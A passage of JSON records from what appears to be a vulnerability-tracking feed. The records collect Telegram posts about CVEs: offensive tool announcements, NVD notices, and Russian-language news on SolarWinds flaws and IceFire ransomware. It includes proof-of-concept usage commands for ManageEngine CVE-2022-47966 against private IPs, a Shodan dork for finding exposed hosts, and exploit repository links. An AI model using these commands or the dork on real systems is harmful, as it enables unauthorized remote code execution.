#infosec\n\n\u200b\u200bPoastal\n\nPoastal is an email #OSINT tool that provides valuable information on any email address. With Poastal, you can easily input an email address and it will quickly answer several questions, providing you with crucial information.\n\nhttps://github.com/jakecreps/poastal\n\n#cybersecurity #infosec\n\n\u200b\u200bMacStealer \n\nWi-Fi Client Isolation Bypass.\n\nThis repo contains MacStealer. It can test Wi-Fi networks for client isolation bypasses (CVE-2022-47522). Our attack can intercept (steal) traffic toward other clients at the MAC layer, even if clients are prevented from communicating with each other. \n\nhttps://github.com/vanhoefm/macstealer\n\n#cybersecurity #infosec\n\n\u200b\u200bmulef\n\nThis tool performs #OSINT by finding #LinkedIn employees on GitHub. It has two modes: one for searching keywords on the GitHub profiles of the users you're searching for, and the other for scraping the location of the employee from LinkedIn, searching for the name of the employee, and then checking if their location on GitHub matches the one on LinkedIn.\n\nhttps://github.com/mux0x/mulef\n\n#cybersecurity #infosec\n\n\u200b\u200bhacking-writeups\n\nHelpful shell commands and lots of writeups from machines solved on Hack the Box and also walkthroughs from CTF competitions.\n\nhttps://github.com/BitFlippa27/hacking-writeups/tree/main/htb/ctf/cyber-apocalypse-2023/web\n\n#cybersecurity #infosec #pentesting #redteam\n\n\u200b\u200bHardHat C2\n\nA cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.\n\nhttps://github.com/DragoQCC/HardHatC2\n\n#cybersecurity #infosec #pentesting #redteam\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-04-14T20:19:59.000000Z"}, {"uuid": "10b48cbe-70ec-41bd-b663-2c86f7553fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1310", "content": "\u0412 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0442\u0435\u043c\u044b\n\u041f\u043e\u044f\u0432\u0438\u043b\u0441\u044f  nuclei-template \u0434\u043b\u044f \u0434\u044b\u0440\u044b CVE-2022-47966.yaml\n\u041d\u0443 \u0438 \u0441\u0430\u043c nuclei \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0442\u0443\u0442\n****\nBonus \u0434\u043b\u044f blueTeam - \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u044b\u0440\u044b \u0434\u043b\u044f Sigma - \u0437\u0430\u0431\u0440\u0430\u0442\u044c", "creation_timestamp": "2023-01-20T06:30:20.000000Z"}, {"uuid": "16e16644-af8e-4801-8286-c4fff943e061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1306", "content": "CVE-2022-47966\n*\n\u0421\u043f\u0438\u0441\u043e\u043a \u041f\u041e \u043e\u0442 ManageEngine \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0435 \u043f\u043e\u0440\u0430\u0436\u0430\u0435\u0442 !\n* \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442  \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 SAML. \u0410 \u0432\u0441\u0451 \u0438\u0437 \u0437\u0430 \u043d\u0435 \u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Apache Santuario \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 XML.\n*\nread\n*\nPOC/exploit\n*\nUsage:\npython3 CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe", "creation_timestamp": "2023-01-19T16:53:32.000000Z"}, {"uuid": "94f702f1-789c-4589-8528-7bb91eeda612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/breachdetector/185766", "content": "{\n  \"Source\": \"documentors\",\n  \"Content\": \"CVE-2022-47966.py 3.1 kB \ud83d\udca5PoC for CVE-2022-47966 Usage: \u2699\ufe0fFor AD related products, such as ADManager, an issuer argument is required: python3 ./CVE-2022-47966.py --url https://10.0.40.90:8443/samlLogin/ --issuer https://sts.windows.net// --command notepad.exe \u2699\ufe0fFor other products, a URL is all that is required: python3 ./CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe\", \n  \"author\": \"\u2693\ufe0f\ud835\udd07\ud835\udd2c\ud835\udd20\ud835\udd32\ud835\udd2a\ud835\udd22\ud835\udd2b\ud835\udd31\ud835\udd2c\ud835\udd2f\",\n  \"Detection Date\": \"21 Jan 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2023-01-21T07:04:38.000000Z"}, {"uuid": "08909f49-d3e8-4fb0-859c-b8e4fbdcb466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/811bQ5f-LZUIU4NQkAxHKn_N4C36losB_HotSPBbRCeM3YY", "content": "", "creation_timestamp": "2023-02-10T05:03:05.000000Z"}, {"uuid": "5ab81af1-1b9e-4ace-9737-c1a38164b968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/4nCYcq8D4fy0jiPbCa-Dgl9oSJDhvudoNjJl0erR4V4yeXs", "content": "", "creation_timestamp": "2023-02-07T18:55:17.000000Z"}, {"uuid": "f8415531-c8c1-4072-bffc-de7ab778d0f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/51mYVYxBl_FjHPlxVOIiImRHB8x1fpYicMyLs7rosWTiCRw", "content": "", "creation_timestamp": "2023-02-08T13:51:05.000000Z"}, {"uuid": "6b2ad140-eb55-4585-8a23-b1d3b568543e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/Securi3yTalent/62", "content": "RCE in ManageEngine\nRemote Code Execution Vulnerability in ManageEngine products (CVE-2022-47966) due to the use of an outdated version of Apache Santuario.\nDork for Shodan:\ntitle:\"ManageEngine\"\nFollow up: https://twitter.com/devmehedi101\n                  https://www.youtube.com/@SecurityTalent\n\nLink to template for Nuclei\nhttps://github.com/proje.../nuclei-templates/pull/6564/files\n#bugbountytip #bugbountytips #bugbountylife #BugBountyHunter #bugbountyhunting #bugbountyprogram #hackers #hacking #devmehedi101 #SecurityTalent #Securi3yTalent", "creation_timestamp": "2023-01-29T18:32:53.000000Z"}, {"uuid": "73db3a03-8525-4c7a-abb4-23d0379f0b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47175", "type": "seen", "source": "https://t.me/cibsecurity/71709", "content": "\u203c CVE-2022-47175 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in P Royal Royal Elementor Addons and Templates plugin <=\u00c2\u00a01.3.75 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-06T16:26:34.000000Z"}, {"uuid": "68350621-6f58-4c86-87f4-19f289de56de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/cibsecurity/71485", "content": "\u203c CVE-2022-47892 \u203c\n\nAll versions of NetMan 204 could allow an unauthenticated remote attacker to read a file (config.cgi) containing sensitive information, like credentials.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T16:41:09.000000Z"}, {"uuid": "5706e435-e56c-4977-b99b-643b0d821ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/795", "content": "CARBONOMIC23 MINI LIST \nCVE-2022-47986 : IBM Aspera Faspex Pre Auth RCE \nPOC : https://github.com/ohnonoyesyes/CVE-2022-47986", "creation_timestamp": "2023-08-06T22:29:01.000000Z"}, {"uuid": "6e5a9050-d442-407f-b17d-424c98b698bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/688", "content": "ManageEngine CVE-2022-47966 Technical Deep Dive\n1. https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/\n2. https://blog.tint0.com/2021/09/pinging-xmlsec.html?m=1\nSub : https://semgrep.dev/blog/2022/xml-security-in-java", "creation_timestamp": "2023-02-08T06:30:38.000000Z"}, {"uuid": "967607ae-14e9-4ed7-96f6-9cf1530c86cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/666", "content": "CVE-2022-47966 : Zoho ManageEngine - Remote Code Execution\nPOC : https://github.com/horizon3ai/CVE-2022-47966", "creation_timestamp": "2023-01-21T06:30:48.000000Z"}, {"uuid": "cfb3df3f-dd48-4f0b-892e-e324762a8140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47503", "type": "seen", "source": "https://t.me/true_secator/4088", "content": "SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a \u043a\u043e\u043d\u0446\u0443 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0418\u0437 \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8.\n\nCVE-2023-23836, CVE-2022-47503, CVE-2022-47504 \u0438 CVE-2022-47507 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Orion \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u0438 SolarWinds \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u044f\u0442\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 CVE-2022-38111 SolarWinds \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435.\u00a0\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,2.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 SolarWinds, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2022-47506 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8).\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 SolarWinds 2023.1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a \u043a\u043e\u043d\u0446\u0443 \u043c\u0435\u0441\u044f\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u0435\u0439. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0441 Server & Application Monitor 2022.4, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Kerberos \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 NTLM.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432\u0448\u0438\u0435 \u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 Kerberos, \u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u043b\u0438 NTLM-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 IP-\u0430\u0434\u0440\u0435\u0441, \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Kerberos. \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 Hybrid Cloud Observability 2023.1 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a.\n\nSolarWinds \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-02-20T11:30:07.000000Z"}, {"uuid": "806707c5-3fa5-4707-868a-eed53c7627a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/true_secator/4154", "content": "\u0421\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 IBM Aspera Faspex \u0438 \u043f\u0435\u0440\u0432\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0437\u0430 \u0434\u0435\u043b\u043e \u0432\u0437\u044f\u043b\u0438\u0441\u044c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438.\n\n\u0422\u0435\u043f\u0435\u0440\u044c IBM Aspera Faspex \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f IceFire Ransomware.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0431\u0430\u0437\u0435 Windows, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a IceFire, \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0430 \u0441\u0432\u043e\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 Linux, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043c\u0435\u0434\u0438\u0430- \u0438 \u0440\u0430\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c SentinelOne, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 IBM Aspera Faspex (CVE-2022-47986 , \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 SentinelOne, \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 \u0422\u0443\u0440\u0446\u0438\u0438, \u0418\u0440\u0430\u043d\u0435, \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0435 \u0438 \u041e\u0410\u042d.\n\nIceFire\u00a0\u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 \u043c\u0430\u0440\u0442\u0435 2022 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 MalwareHunterTeam. \n\n\u041d\u043e, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u043b\u0438\u00a0GuidePoint Security, Malwarebytes\u00a0\u0438\u00a0NCC Group, \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2022 \u0433\u043e\u0434\u0430 \u043e \u0436\u0435\u0440\u0442\u0432\u0430\u0445 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u0439\u0442 \u0443\u0442\u0435\u0447\u043a\u0438 \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435.\n\n\u0414\u0432\u043e\u0438\u0447\u043d\u044b\u0439\u00a0\u0444\u0430\u0439\u043b ransomware, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 Linux, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 64-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0439 ELF-\u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 2,18 \u041c\u0411, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445 CentOS, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u041f\u041e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 IBM Aspera Faspex.\n\n\u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f 